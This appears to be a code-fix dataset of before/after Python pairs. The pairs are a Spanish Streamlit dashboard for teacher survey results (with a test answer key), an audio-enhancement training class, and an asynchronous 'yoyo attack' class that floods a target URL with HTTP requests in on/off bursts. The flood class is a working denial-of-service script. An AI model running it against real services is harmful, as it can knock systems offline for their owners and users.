'20': '20. Por favor evalúe los siguientes enunciados de acuerdo con qué tan preparado(a) se siente para integrar el pensamiento computacional en sus cursos:',
'22': '22. En una escala de 1 a 10 (donde 10 es muy a menudo), con qué frecuencia utilizarías las siguientes prácticas pedagógicas para enseñar pensamiento computacional.',
'24': '24. Cuando un estudiante se enfrenta a una dificultad creando un programa y no sabe si está correcto, qué tan a menudo, en una escala de 1-10 (donde 10 es siempre), usted:',
}
def app():
st.write("""# Posttest Avanzado C2""")
chart_type = st.radio("Tipo de visualización ",
("Barras", "Dispersión", "Cajas", "Tendencia"))
categoria = st.selectbox("Seleccione la categoría", files,
format_func=lambda itemArray: itemArray['title'])
# Nombre del archivo con los datos
file = f"data/limpios/{categoria["file"]}"
# Nombre de la columna cuyos datos son únicos para cada respuesta
columna_unica = 'Identificación'
# A partir de esta columna comienzan las preguntas (columnas de interés)
col_preguntas = 25
if file:
datos = load_data(file)
pregunta, filtros_def, indices, lista_agrupadores, lista_grupos = filtros(
datos, col_preguntas, chart_type, categoria, nombres_preguntas=nombres_preguntas)
ejex, color, columna, fila = filtros_def
height = st.slider(
"Ajuste el tamaño vertical de la gráfica", 500, 1000)
if color == "Eficacia":
datos = graph_answer(datos, pregunta, categoria)
if categoria['title'] == 'Conocimientos':
if pregunta == 'Puntaje Conocimiento':
datos[pregunta] = datos[pregunta].astype(float)
else:
datos[pregunta] = datos[pregunta].astype(str)
orden_grupos = ["A"+str(x) for x in range(36)]
category_orders = categories_order(
set(datos[pregunta]), pregunta, orden_grupos)
if lista_grupos != []:
datos = datos.loc[datos.Grupo.isin(lista_grupos)]
if len(datos) == 0:
st.warning(
"El / los grupos seleccionados no tienen datos para mostrar")
elif (fila == "Grupo" or columna == "Grupo") and (len(datos.Grupo.unique()) > 10):
st.warning(
"Por favor use los filtros para seleccionar menos grupos")
else:
# Selecciona tipo de gráfica
if chart_type == "Barras":
""" Los diagramas de barra exigen agrupar la información antes de graficar """
pivot = pivot_data(datos, indices, columna_unica)
fig = bar_chart(columna_unica=columna_unica,
pivot=pivot, ejex=ejex, color=color,
fila=fila, columna=columna, indices=indices,
category_orders=category_orders)
elif chart_type == "Cajas":
fig = box_chart(columna_unica=pregunta,
pivot=datos, ejex=ejex, color=color,
fila=fila, columna=columna, indices=indices, category_orders=category_orders)
fig.update_yaxes(col=1, title=None)
elif chart_type == "Tendencia":
fig = line_chart(columna_unica=columna_unica,
pivot=datos, ejex=ejex, color=color, indices=indices,
fila=fila, columna=columna,
lista_agrupadores=datos.columns.tolist(),
category_orders=category_orders)
else:
fig = scatter_chart(columna_unica=columna_unica,
pivot=datos, ejex=ejex, color=color,
fila=fila, columna=columna,
lista_agrupadores=datos.columns.tolist(),
category_orders=category_orders)
# Evita que los títulos de las subfiguras sean de forma VARIABLE=valor
fig.for_each_annotation(
lambda a: a.update(text=a.text.split("=")[-1]))
fig.update_yaxes(col=1, title=None)
fig.update_xaxes(row=1, title=None)
fig.update_layout(height=height)
st.plotly_chart(fig, use_container_width=True, config=config_chart)
| import streamlit as st
from src.utils.chart_funcs import *
from src.utils.helper_funcs import *
files = [
{
"title": "Autoeficacia",
"file": "post_avanzado_autoeficacia.xlsx"
},
{
"title": "Conocimientos",
"file": "post_avanzado_conocimientos.xlsx",
"respuestas": {
"26": "Cerrar el centro para carros mientras la calidad del aire sea mala, muy mala, o extremadamente mala.",
"27": "Esta función no imprime nunca nada",
"28": "b",
"29": "alfa, delta, gama, beta, épsilon",
"30": "Cree que, si la condición se cumple, todo lo que sigue se va a ejecutar",
"31": "Imagen 3",
"32": "Cada uno tiene un número asignado y gana solamente si presiona su botón cuando sale este número",
"34": "Imagen 3",
"35": "x::3, y::5, z::10",
}
},
{
"title": "Género",
"file": "post_avanzado_genero.xlsx"
}
]
# Nombre de las preguntas por el indice
# Esto se usará para aquellas preguntas que tengan subpreguntas
nombres_preguntas = {
'14': '14. ¿Cuáles de las siguientes estrategias usted ha usado en sus clases?',
'15': '15. Por favor evalúe los siguientes enunciados de acuerdo con su experiencia:',
'17': '17. Por favor evalúe los siguientes enunciados de acuerdo con su experiencia:',
'19': '19. Por favor evalúe las siguientes afirmaciones según qué tan de acuerdo está usted con enseñar las siguientes prácticas como objetivos de aprendizaje relacionados con el pensamiento computacional:',
'20': '20. Por favor evalúe los siguientes enunciados de acuerdo con qué tan preparado(a) se siente para integrar el pensamiento computacional en sus cursos:',
'22': '22. En una escala de 1 a 10 (donde 10 es muy a menudo), con qué frecuencia utilizarías las siguientes prácticas pedagógicas para enseñar pensamiento computacional.',
'24': '24. Cuando un estudiante se enfrenta a una dificultad creando un programa y no sabe si está correcto, qué tan a menudo, en una escala de 1-10 (donde 10 es siempre), usted:',
}
def app():
st.write("""# Posttest Avanzado C2""")
chart_type = st.radio("Tipo de visualización ",
("Barras", "Dispersión", "Cajas", "Tendencia"))
categoria = st.selectbox("Seleccione la categoría", files,
format_func=lambda itemArray: itemArray['title'])
# Nombre del archivo con los datos
file = f"data/limpios/{categoria['file']}"
# Nombre de la columna cuyos datos son únicos para cada respuesta
columna_unica = 'Identificación'
# A partir de esta columna comienzan las preguntas (columnas de interés)
col_preguntas = 25
if file:
datos = load_data(file)
pregunta, filtros_def, indices, lista_agrupadores, lista_grupos = filtros(
datos, col_preguntas, chart_type, categoria, nombres_preguntas=nombres_preguntas)
ejex, color, columna, fila = filtros_def
height = st.slider(
"Ajuste el tamaño vertical de la gráfica", 500, 1000)
if color == "Eficacia":
datos = graph_answer(datos, pregunta, categoria)
if categoria['title'] == 'Conocimientos':
if pregunta == 'Puntaje Conocimiento':
datos[pregunta] = datos[pregunta].astype(float)
else:
datos[pregunta] = datos[pregunta].astype(str)
orden_grupos = ["A"+str(x) for x in range(36)]
category_orders = categories_order(
set(datos[pregunta]), pregunta, orden_grupos)
if lista_grupos != []:
datos = datos.loc[datos.Grupo.isin(lista_grupos)]
if len(datos) == 0:
st.warning(
"El / los grupos seleccionados no tienen datos para mostrar")
elif (fila == "Grupo" or columna == "Grupo") and (len(datos.Grupo.unique()) > 10):
st.warning(
"Por favor use los filtros para seleccionar menos grupos")
else:
# Selecciona tipo de gráfica
if chart_type == "Barras":
""" Los diagramas de barra exigen agrupar la información antes de graficar """
pivot = pivot_data(datos, indices, columna_unica)
fig = bar_chart(columna_unica=columna_unica,
pivot=pivot, ejex=ejex, color=color,
fila=fila, columna=columna, indices=indices,
category_orders=category_orders)
elif chart_type == "Cajas":
fig = box_chart(columna_unica=pregunta,
pivot=datos, ejex=ejex, color=color,
fila=fila, columna=columna, indices=indices, category_orders=category_orders)
fig.update_yaxes(col=1, title=None)
elif chart_type == "Tendencia":
fig = line_chart(columna_unica=columna_unica,
pivot=datos, ejex=ejex, color=color, indices=indices,
fila=fila, columna=columna,
lista_agrupadores=datos.columns.tolist(),
category_orders=category_orders)
else:
fig = scatter_chart(columna_unica=columna_unica,
pivot=datos, ejex=ejex, color=color,
fila=fila, columna=columna,
lista_agrupadores=datos.columns.tolist(),
category_orders=category_orders)
# Evita que los títulos de las subfiguras sean de forma VARIABLE=valor
fig.for_each_annotation(
lambda a: a.update(text=a.text.split("=")[-1]))
fig.update_yaxes(col=1, title=None)
fig.update_xaxes(row=1, title=None)
fig.update_layout(height=height)
st.plotly_chart(fig, use_container_width=True, config=config_chart)
|
import asyncio
import time
from datetime import datetime
import aiohttp
from collections import OrderedDict
import multiprocessing as mp
from .reporter import Reporter
class Attacker(mp.Process):
def __init__(self, config, start_attack_event, kill_event):
super().__init__()
self._threads = config.get("threads", 10)
self._time_on = config.get("time_on", 10)
self._time_off = config.get("time_off", 10)
self._wait_between_requests = config.get("wait_between_requests", 0)
self.logger = config.get("logger")
self._report_queue = config.get("report_queue")
self._start_attack_event = start_attack_event
self._kill_event = kill_event
self._request_config = config.get("request", {})
self._server_dst = self._request_config.get("server_url", "http://localhost:8080")
self._request_method = self._request_config.get("method", "get")
self._request_headers = self._request_config.get("headers", {})
self._request_data = self._request_config.get("data", {})
self._loop = None
self._sent_per_session = OrderedDict()
self._failed_sent_per_session = OrderedDict()
self._current_session_time = None
self._kill = False
@property
def kill(self):
return self._kill_event.is_set()
@property
def total_requests(self):
return sum(self._sent_per_session.values())
@property
def total_fail_requests(self):
return sum(self._failed_sent_per_session.values())
def send_report(self, total_requests, total_fail_requests, num_sessions):
report = Reporter(self.name, total_requests, total_fail_requests, num_sessions)
self._report_queue.put(report)
async def send_request(self, session):
async with session.request(self._request_method, self._server_dst, headers=self._request_headers, json=self._request_data, timeout=200) as resp:
status_code = resp.status
self.logger.debug(status_code)
if status_code != 200:
self._failed_sent_per_session[self._current_session_time] += 1
self._sent_per_session[self._current_session_time] += 1
async def send_requests(self, max_time):
st_time = time.time()
end_time = st_time + max_time
sess = aiohttp.ClientSession()
tasks = []
while time.time() < end_time and not self.kill:
tasks.append(asyncio.create_task(self.send_request(sess)))
await asyncio.sleep(self._wait_between_requests)
num_of_remained_tasks = len(list(filter(lambda t: not t.done(), tasks)))
self.logger.info(f"Canceling remained tasks ({num_of_remained_tasks} tasks)..")
list(map(lambda t: t.cancel(), tasks))
tasks.append(asyncio.create_task(sess.close()))
def attack_on(self):
self._current_session_time = datetime.now().strftime('%H:%m:%S')
self._sent_per_session[self._current_session_time] = 0
self._failed_sent_per_session[self._current_session_time] = 0
self.logger.debug(f"start time: {datetime.now().strftime("%H:%m:%S")}")
asyncio.run(self.send_requests(self._time_on))
def attack_off(self):
st_time = time.time()
end_time = st_time + self._time_off
while time.time() < end_time and not self.kill:
# So kill could be relatively quick
time.sleep(0.1)
def attack_session(self):
self.attack_on()
self.attack_off()
self.logger.info(f"Total requests in session: {self._sent_per_session[self._current_session_time]}")
return self._sent_per_session[self._current_session_time]
def yoyo_attack(self):
self.logger.info("Starting yoyo attack..")
self._loop = asyncio.get_event_loop()
num_sessions = 0
self._start_attack_event.wait() # wait for all processes to start
while not self.kill:
self.attack_session()
num_sessions += 1
self._loop.close()
self.logger.info("ending yoyo attack..")
self.logger.debug(f"Total requests {self.total_requests}")
self.send_report(self.total_requests, self.total_fail_requests, num_sessions)
def run(self) -> None:
self.yoyo_attack()
| import asyncio
import time
from datetime import datetime
import aiohttp
from collections import OrderedDict
import multiprocessing as mp
from .reporter import Reporter
class Attacker(mp.Process):
def __init__(self, config, start_attack_event, kill_event):
super().__init__()
self._threads = config.get("threads", 10)
self._time_on = config.get("time_on", 10)
self._time_off = config.get("time_off", 10)
self._wait_between_requests = config.get("wait_between_requests", 0)
self.logger = config.get("logger")
self._report_queue = config.get("report_queue")
self._start_attack_event = start_attack_event
self._kill_event = kill_event
self._request_config = config.get("request", {})
self._server_dst = self._request_config.get("server_url", "http://localhost:8080")
self._request_method = self._request_config.get("method", "get")
self._request_headers = self._request_config.get("headers", {})
self._request_data = self._request_config.get("data", {})
self._loop = None
self._sent_per_session = OrderedDict()
self._failed_sent_per_session = OrderedDict()
self._current_session_time = None
self._kill = False
@property
def kill(self):
return self._kill_event.is_set()
@property
def total_requests(self):
return sum(self._sent_per_session.values())
@property
def total_fail_requests(self):
return sum(self._failed_sent_per_session.values())
def send_report(self, total_requests, total_fail_requests, num_sessions):
report = Reporter(self.name, total_requests, total_fail_requests, num_sessions)
self._report_queue.put(report)
async def send_request(self, session):
async with session.request(self._request_method, self._server_dst, headers=self._request_headers, json=self._request_data, timeout=200) as resp:
status_code = resp.status
self.logger.debug(status_code)
if status_code != 200:
self._failed_sent_per_session[self._current_session_time] += 1
self._sent_per_session[self._current_session_time] += 1
async def send_requests(self, max_time):
st_time = time.time()
end_time = st_time + max_time
sess = aiohttp.ClientSession()
tasks = []
while time.time() < end_time and not self.kill:
tasks.append(asyncio.create_task(self.send_request(sess)))
await asyncio.sleep(self._wait_between_requests)
num_of_remained_tasks = len(list(filter(lambda t: not t.done(), tasks)))
self.logger.info(f"Canceling remained tasks ({num_of_remained_tasks} tasks)..")
list(map(lambda t: t.cancel(), tasks))
tasks.append(asyncio.create_task(sess.close()))
def attack_on(self):
self._current_session_time = datetime.now().strftime('%H:%m:%S')
self._sent_per_session[self._current_session_time] = 0
self._failed_sent_per_session[self._current_session_time] = 0
self.logger.debug(f"start time: {datetime.now().strftime('%H:%m:%S')}")
asyncio.run(self.send_requests(self._time_on))
def attack_off(self):
st_time = time.time()
end_time = st_time + self._time_off
while time.time() < end_time and not self.kill:
# So kill could be relatively quick
time.sleep(0.1)
def attack_session(self):
self.attack_on()
self.attack_off()
self.logger.info(f"Total requests in session: {self._sent_per_session[self._current_session_time]}")
return self._sent_per_session[self._current_session_time]
def yoyo_attack(self):
self.logger.info("Starting yoyo attack..")
self._loop = asyncio.get_event_loop()
num_sessions = 0
self._start_attack_event.wait() # wait for all processes to start
while not self.kill:
self.attack_session()
num_sessions += 1
self._loop.close()
self.logger.info("ending yoyo attack..")
self.logger.debug(f"Total requests {self.total_requests}")
self.send_report(self.total_requests, self.total_fail_requests, num_sessions)
def run(self) -> None:
self.yoyo_attack()
|
import shutil
import time
from functools import partial
from pathlib import Path
import librosa
import librosa.display
import matplotlib.pyplot as plt
import numpy as np
import toml
import torch
from joblib import Parallel, delayed
from rich import print
from rich.console import Console
from torch.cuda.amp import GradScaler
from torch.nn.parallel import DistributedDataParallel
from torch.utils.tensorboard import SummaryWriter
import audio_zen.metrics as metrics
from audio_zen.acoustics.feature import stft, istft
from audio_zen.acoustics.utils import transform_pesq_range
from audio_zen.utils import prepare_empty_dir, ExecutionTime
plt.switch_backend('agg')
console = Console()
class BaseTrainer:
def __init__(self, dist, rank, config, resume, only_validation, model, loss_function, optimizer):
self.model = DistributedDataParallel(model.cuda(rank), device_ids=[rank])
self.optimizer = optimizer
self.loss_function = loss_function
# DistributedDataParallel (DDP)
self.dist = dist
self.rank = rank
# 可能由于 K80，或者 cuda 的问题吧
torch.backends.cudnn.enabled = config["meta"]["cudnn_enable"]
# torch.backends.cudnn.deterministic = True
# torch.backends.cudnn.benchmark = False
# Automatic mixed precision (AMP)
self.use_amp = config["meta"]["use_amp"]
self.scaler = GradScaler(enabled=self.use_amp)
# Acoustics
self.acoustic_config = config["acoustics"]
n_fft = self.acoustic_config["n_fft"]
hop_length = self.acoustic_config["hop_length"]
win_length = self.acoustic_config["win_length"]
# Supported STFT
self.torch_stft = partial(stft, n_fft=n_fft, hop_length=hop_length, win_length=win_length)
self.torch_istft = partial(istft, n_fft=n_fft, hop_length=hop_length, win_length=win_length)
self.librosa_stft = partial(librosa.stft, n_fft=n_fft, hop_length=hop_length, win_length=win_length)
self.librosa_istft = partial(librosa.istft, hop_length=hop_length, win_length=win_length)
# Trainer.train in the config
self.train_config = config["trainer"]["train"]
self.epochs = self.train_config["epochs"]
self.save_checkpoint_interval = self.train_config["save_checkpoint_interval"]
self.clip_grad_norm_value = self.train_config["clip_grad_norm_value"]
assert self.save_checkpoint_interval >= 1, "Check the 'save_checkpoint_interval' parameter in the config. It should be large than one."
# Trainer.validation in the config
self.validation_config = config["trainer"]["validation"]
self.validation_interval = self.validation_config["validation_interval"]
self.save_max_metric_score = self.validation_config["save_max_metric_score"]
assert self.validation_interval >= 1, "Check the 'validation_interval' parameter in the config. It should be large than one."
# Trainer.visualization in the config
self.visualization_config = config["trainer"]["visualization"]
# In the 'train.py' file, if the 'resume' item is 'True', we will update the following args:
self.start_epoch = 1
self.best_score = -np.inf if self.save_max_metric_score else np.inf
self.save_dir = Path(config["meta"]["save_dir"]).expanduser().absolute() / config["meta"]["experiment_name"]
self.checkpoints_dir = self.save_dir / "checkpoints"
self.logs_dir = self.save_dir / "logs"
self.source_code_dir = Path(__file__).expanduser().absolute().parent.parent.parent
if resume:
self._resume_checkpoint()
# Debug validation, which skips training
self.only_validation = only_validation
if config["meta"]["preloaded_model_path"]:
self._preload_model(Path(config["preloaded_model_path"]))
if self.rank == 0:
prepare_empty_dir([self.checkpoints_dir, self.logs_dir], resume=resume)
self.writer = SummaryWriter(self.logs_dir.as_posix(), max_queue=5, flush_secs=30)
self.writer.add_text(
tag="Configuration",
text_string=f"<pre> \n{toml.dumps(config)} \n</pre>",
global_step=1
)
print("The configurations are as follows: ")
print(config) # except "\n"
# Backup of config
with open((self.save_dir / f"{time.strftime("%Y-%m-%d-%H-%M-%S")}.toml").as_posix(), "w") as handle:
toml.dump(config, handle)
# Backup of project code
shutil.copytree(
src=self.source_code_dir.as_posix(),
dst=(self.save_dir / f"{time.strftime("%Y-%m-%d-%H-%M-%S")}").as_posix()
)
self._print_networks([self.model])
def _preload_model(self, model_path):
"""
Preload model parameters (in "*.tar" format) at the start of experiment.
Args:
model_path (Path): The file path of the *.tar file
"""
model_path = model_path.expanduser().absolute()
assert model_path.exists(), f"The file {model_path.as_posix()} is not exist. please check path."
model_checkpoint = torch.load(model_path.as_posix(), map_location="cpu")
self.model.load_state_dict(model_checkpoint["model"], strict=False)
self.model.to(self.rank)
if self.rank == 0:
print(f"Model preloaded successfully from {model_path.as_posix()}.")
def _resume_checkpoint(self):
"""
Resume the experiment from the latest checkpoint.
"""
latest_model_path = self.checkpoints_dir.expanduser().absolute() / "latest_model.tar"
assert latest_model_path.exists(), f"{latest_model_path} does not exist, can not load latest checkpoint."
# Load it on the CPU and later use .to(device) on the model
# Maybe slightly slow than use map_location="cuda:<...>"
# https://stackoverflow.com/questions/61642619/pytorch-distributed-data-parallel-confusion
checkpoint = torch.load(latest_model_path.as_posix(), map_location="cpu")
# Make sure all processes (GPUs) do not start loading before the saving is finished.
# see https://stackoverflow.com/questions/59760328/how-does-torch-distributed-barrier-work
self.dist.barrier()
self.start_epoch = checkpoint["epoch"] + 1
self.best_score = checkpoint["best_score"]
self.optimizer.load_state_dict(checkpoint["optimizer"])
self.scaler.load_state_dict(checkpoint["scaler"])
if isinstance(self.model, torch.nn.parallel.DistributedDataParallel):
self.model.module.load_state_dict(checkpoint["model"])
else:
self.model.load_state_dict(checkpoint["model"])
# self.model.to(self.rank)
if self.rank == 0:
print(f"Model checkpoint loaded. Training will begin at {self.start_epoch} epoch.")
def _save_checkpoint(self, epoch, is_best_epoch=False):
"""
Save checkpoint to "<save_dir>/<config name>/checkpoints" directory, which consists of:
- epoch
- best metric score in historical epochs
- optimizer parameters
- model parameters
Args:
is_best_epoch (bool): In the current epoch, if the model get a best metric score (is_best_epoch=True),
the checkpoint of model will be saved as "<save_dir>/checkpoints/best_model.tar".
"""
print(f"\t Saving {epoch} epoch model checkpoint...")
state_dict = {
"epoch": epoch,
"best_score": self.best_score,
"optimizer": self.optimizer.state_dict(),
"scaler": self.scaler.state_dict()
}
if isinstance(self.model, torch.nn.parallel.DistributedDataParallel):
state_dict["model"] = self.model.module.state_dict()
else:
state_dict["model"] = self.model.state_dict()
# Saved in "latest_model.tar"
# Contains all checkpoint information, including the optimizer parameters, the model parameters, etc.
# New checkpoint will overwrite the older one.
torch.save(state_dict, (self.checkpoints_dir / "latest_model.tar").as_posix())
# "model_{epoch_number}.pth"
# Contains only model.
torch.save(state_dict["model"], (self.checkpoints_dir / f"model_{str(epoch).zfill(4)}.pth").as_posix())
# If the model get a best metric score (means "is_best_epoch=True") in the current epoch,
# the model checkpoint will be saved as "best_model.tar"
# The newer best-scored checkpoint will overwrite the older one.
if is_best_epoch:
print(f"\t :smiley: Found a best score in the {epoch} epoch, saving...")
torch.save(state_dict, (self.checkpoints_dir / "best_model.tar").as_posix())
def _is_best_epoch(self, score, save_max_metric_score=True):
"""
Check if the current model got the best metric score
"""
if save_max_metric_score and score >= self.best_score:
self.best_score = score
return True
elif not save_max_metric_score and score <= self.best_score:
self.best_score = score
return True
else:
return False
@staticmethod
def _print_networks(models: list):
print(f"This project contains {len(models)} models, the number of the parameters is: ")
params_of_all_networks = 0
for idx, model in enumerate(models, start=1):
params_of_network = 0
for param in model.parameters():
params_of_network += param.numel()
print(f"\tNetwork {idx}: {params_of_network / 1e6} million.")
params_of_all_networks += params_of_network
print(f"The amount of parameters in the project is {params_of_all_networks / 1e6} million.")
def _set_models_to_train_mode(self):
self.model.train()
def _set_models_to_eval_mode(self):
self.model.eval()
def spec_audio_visualization(self, noisy, enhanced, clean, name, epoch, mark=""):
self.writer.add_audio(f"{mark}_Speech/{name}_Noisy", noisy, epoch, sample_rate=16000)
self.writer.add_audio(f"{mark}_Speech/{name}_Enhanced", enhanced, epoch, sample_rate=16000)
self.writer.add_audio(f"{mark}_Speech/{name}_Clean", clean, epoch, sample_rate=16000)
# Visualize the spectrogram of noisy speech, clean speech, and enhanced speech
noisy_mag, _ = librosa.magphase(self.librosa_stft(noisy, n_fft=320, hop_length=160, win_length=320))
enhanced_mag, _ = librosa.magphase(self.librosa_stft(enhanced, n_fft=320, hop_length=160, win_length=320))
clean_mag, _ = librosa.magphase(self.librosa_stft(clean, n_fft=320, hop_length=160, win_length=320))
fig, axes = plt.subplots(3, 1, figsize=(6, 6))
for k, mag in enumerate([noisy_mag, enhanced_mag, clean_mag]):
axes[k].set_title(
f"mean: {np.mean(mag):.3f}, "
f"std: {np.std(mag):.3f}, "
f"max: {np.max(mag):.3f}, "
f"min: {np.min(mag):.3f}"
)
librosa.display.specshow(librosa.amplitude_to_db(mag), cmap="magma", y_axis="linear", ax=axes[k], sr=16000)
plt.tight_layout()
self.writer.add_figure(f"{mark}_Spectrogram/{name}", fig, epoch)
def metrics_visualization(self, noisy_list, clean_list, enhanced_list, metrics_list, epoch, num_workers=10,
mark=""):
"""
Get metrics on validation dataset by paralleling.
Notes:
1. You can register other metrics, but STOI and WB_PESQ metrics must be existence. These two metrics are
used for checking if the current epoch is a "best epoch."
2. If you want to use a new metric, you must register it in "utile.
"""
assert "STOI" in metrics_list and "WB_PESQ" in metrics_list, "'STOI' and 'WB_PESQ' must be exist."
# Check if the metric is registered in "util.metrics" file.
for i in metrics_list:
assert i in metrics.REGISTERED_METRICS.keys(), f"{i} is not registered, please check 'util.metrics' file."
stoi_mean = 0.0
wb_pesq_mean = 0.0
for metric_name in metrics_list:
score_on_noisy = Parallel(n_jobs=num_workers)(
delayed(metrics.REGISTERED_METRICS[metric_name])(ref, est) for ref, est in zip(clean_list, noisy_list)
)
score_on_enhanced = Parallel(n_jobs=num_workers)(
delayed(metrics.REGISTERED_METRICS[metric_name])(ref, est) for ref, est in
zip(clean_list, enhanced_list)
)
# Add mean value of the metric to tensorboard
mean_score_on_noisy = np.mean(score_on_noisy)
mean_score_on_enhanced = np.mean(score_on_enhanced)
self.writer.add_scalars(f"{mark}_Validation/{metric_name}", {
"Noisy": mean_score_on_noisy,
"Enhanced": mean_score_on_enhanced
}, epoch)
if metric_name == "STOI":
stoi_mean = mean_score_on_enhanced
if metric_name == "WB_PESQ":
wb_pesq_mean = transform_pesq_range(mean_score_on_enhanced)
return (stoi_mean + wb_pesq_mean) / 2
def train(self):
for epoch in range(self.start_epoch, self.epochs + 1):
if self.rank == 0:
print(f"{"=" * 15} {epoch} epoch {"=" * 15}")
print("[0 seconds] Begin training...")
# [debug validation] Only run validation (only use the first GPU (process))
# inference + calculating metrics + saving checkpoints
if self.only_validation and self.rank == 0:
self._set_models_to_eval_mode()
metric_score = self._validation_epoch(epoch)
if self._is_best_epoch(metric_score, save_max_metric_score=self.save_max_metric_score):
self._save_checkpoint(epoch, is_best_epoch=True)
# Skip the following regular training, saving checkpoints, and validation
continue
# Regular training
timer = ExecutionTime()
self._set_models_to_train_mode()
self._train_epoch(epoch)
# Regular save checkpoints
if self.rank == 0 and self.save_checkpoint_interval != 0 and (epoch % self.save_checkpoint_interval == 0):
self._save_checkpoint(epoch)
# Regular validation
if self.rank == 0 and (epoch % self.validation_interval == 0):
print(f"[{timer.duration()} seconds] Training has finished, validation is in progress...")
self._set_models_to_eval_mode()
metric_score = self._validation_epoch(epoch)
if self._is_best_epoch(metric_score, save_max_metric_score=self.save_max_metric_score):
self._save_checkpoint(epoch, is_best_epoch=True)
if self.rank == 0:
print(f"[{timer.duration()} seconds] This epoch is finished.")
def _train_epoch(self, epoch):
raise NotImplementedError
def _validation_epoch(self, epoch):
raise NotImplementedError
| import shutil
import time
from functools import partial
from pathlib import Path
import librosa
import librosa.display
import matplotlib.pyplot as plt
import numpy as np
import toml
import torch
from joblib import Parallel, delayed
from rich import print
from rich.console import Console
from torch.cuda.amp import GradScaler
from torch.nn.parallel import DistributedDataParallel
from torch.utils.tensorboard import SummaryWriter
import audio_zen.metrics as metrics
from audio_zen.acoustics.feature import stft, istft
from audio_zen.acoustics.utils import transform_pesq_range
from audio_zen.utils import prepare_empty_dir, ExecutionTime
plt.switch_backend('agg')
console = Console()
class BaseTrainer:
def __init__(self, dist, rank, config, resume, only_validation, model, loss_function, optimizer):
self.model = DistributedDataParallel(model.cuda(rank), device_ids=[rank])
self.optimizer = optimizer
self.loss_function = loss_function
# DistributedDataParallel (DDP)
self.dist = dist
self.rank = rank
# 可能由于 K80，或者 cuda 的问题吧
torch.backends.cudnn.enabled = config["meta"]["cudnn_enable"]
# torch.backends.cudnn.deterministic = True
# torch.backends.cudnn.benchmark = False
# Automatic mixed precision (AMP)
self.use_amp = config["meta"]["use_amp"]
self.scaler = GradScaler(enabled=self.use_amp)
# Acoustics
self.acoustic_config = config["acoustics"]
n_fft = self.acoustic_config["n_fft"]
hop_length = self.acoustic_config["hop_length"]
win_length = self.acoustic_config["win_length"]
# Supported STFT
self.torch_stft = partial(stft, n_fft=n_fft, hop_length=hop_length, win_length=win_length)
self.torch_istft = partial(istft, n_fft=n_fft, hop_length=hop_length, win_length=win_length)
self.librosa_stft = partial(librosa.stft, n_fft=n_fft, hop_length=hop_length, win_length=win_length)
self.librosa_istft = partial(librosa.istft, hop_length=hop_length, win_length=win_length)
# Trainer.train in the config
self.train_config = config["trainer"]["train"]
self.epochs = self.train_config["epochs"]
self.save_checkpoint_interval = self.train_config["save_checkpoint_interval"]
self.clip_grad_norm_value = self.train_config["clip_grad_norm_value"]
assert self.save_checkpoint_interval >= 1, "Check the 'save_checkpoint_interval' parameter in the config. It should be large than one."
# Trainer.validation in the config
self.validation_config = config["trainer"]["validation"]
self.validation_interval = self.validation_config["validation_interval"]
self.save_max_metric_score = self.validation_config["save_max_metric_score"]
assert self.validation_interval >= 1, "Check the 'validation_interval' parameter in the config. It should be large than one."
# Trainer.visualization in the config
self.visualization_config = config["trainer"]["visualization"]
# In the 'train.py' file, if the 'resume' item is 'True', we will update the following args:
self.start_epoch = 1
self.best_score = -np.inf if self.save_max_metric_score else np.inf
self.save_dir = Path(config["meta"]["save_dir"]).expanduser().absolute() / config["meta"]["experiment_name"]
self.checkpoints_dir = self.save_dir / "checkpoints"
self.logs_dir = self.save_dir / "logs"
self.source_code_dir = Path(__file__).expanduser().absolute().parent.parent.parent
if resume:
self._resume_checkpoint()
# Debug validation, which skips training
self.only_validation = only_validation
if config["meta"]["preloaded_model_path"]:
self._preload_model(Path(config["preloaded_model_path"]))
if self.rank == 0:
prepare_empty_dir([self.checkpoints_dir, self.logs_dir], resume=resume)
self.writer = SummaryWriter(self.logs_dir.as_posix(), max_queue=5, flush_secs=30)
self.writer.add_text(
tag="Configuration",
text_string=f"<pre> \n{toml.dumps(config)} \n</pre>",
global_step=1
)
print("The configurations are as follows: ")
print(config) # except "\n"
# Backup of config
with open((self.save_dir / f"{time.strftime('%Y-%m-%d-%H-%M-%S')}.toml").as_posix(), "w") as handle:
toml.dump(config, handle)
# Backup of project code
shutil.copytree(
src=self.source_code_dir.as_posix(),
dst=(self.save_dir / f"{time.strftime('%Y-%m-%d-%H-%M-%S')}").as_posix()
)
self._print_networks([self.model])
def _preload_model(self, model_path):
"""
Preload model parameters (in "*.tar" format) at the start of experiment.
Args:
model_path (Path): The file path of the *.tar file
"""
model_path = model_path.expanduser().absolute()
assert model_path.exists(), f"The file {model_path.as_posix()} is not exist. please check path."
model_checkpoint = torch.load(model_path.as_posix(), map_location="cpu")
self.model.load_state_dict(model_checkpoint["model"], strict=False)
self.model.to(self.rank)
if self.rank == 0:
print(f"Model preloaded successfully from {model_path.as_posix()}.")
def _resume_checkpoint(self):
"""
Resume the experiment from the latest checkpoint.
"""
latest_model_path = self.checkpoints_dir.expanduser().absolute() / "latest_model.tar"
assert latest_model_path.exists(), f"{latest_model_path} does not exist, can not load latest checkpoint."
# Load it on the CPU and later use .to(device) on the model
# Maybe slightly slow than use map_location="cuda:<...>"
# https://stackoverflow.com/questions/61642619/pytorch-distributed-data-parallel-confusion
checkpoint = torch.load(latest_model_path.as_posix(), map_location="cpu")
# Make sure all processes (GPUs) do not start loading before the saving is finished.
# see https://stackoverflow.com/questions/59760328/how-does-torch-distributed-barrier-work
self.dist.barrier()
self.start_epoch = checkpoint["epoch"] + 1
self.best_score = checkpoint["best_score"]
self.optimizer.load_state_dict(checkpoint["optimizer"])
self.scaler.load_state_dict(checkpoint["scaler"])
if isinstance(self.model, torch.nn.parallel.DistributedDataParallel):
self.model.module.load_state_dict(checkpoint["model"])
else:
self.model.load_state_dict(checkpoint["model"])
# self.model.to(self.rank)
if self.rank == 0:
print(f"Model checkpoint loaded. Training will begin at {self.start_epoch} epoch.")
def _save_checkpoint(self, epoch, is_best_epoch=False):
"""
Save checkpoint to "<save_dir>/<config name>/checkpoints" directory, which consists of:
- epoch
- best metric score in historical epochs
- optimizer parameters
- model parameters
Args:
is_best_epoch (bool): In the current epoch, if the model get a best metric score (is_best_epoch=True),
the checkpoint of model will be saved as "<save_dir>/checkpoints/best_model.tar".
"""
print(f"\t Saving {epoch} epoch model checkpoint...")
state_dict = {
"epoch": epoch,
"best_score": self.best_score,
"optimizer": self.optimizer.state_dict(),
"scaler": self.scaler.state_dict()
}
if isinstance(self.model, torch.nn.parallel.DistributedDataParallel):
state_dict["model"] = self.model.module.state_dict()
else:
state_dict["model"] = self.model.state_dict()
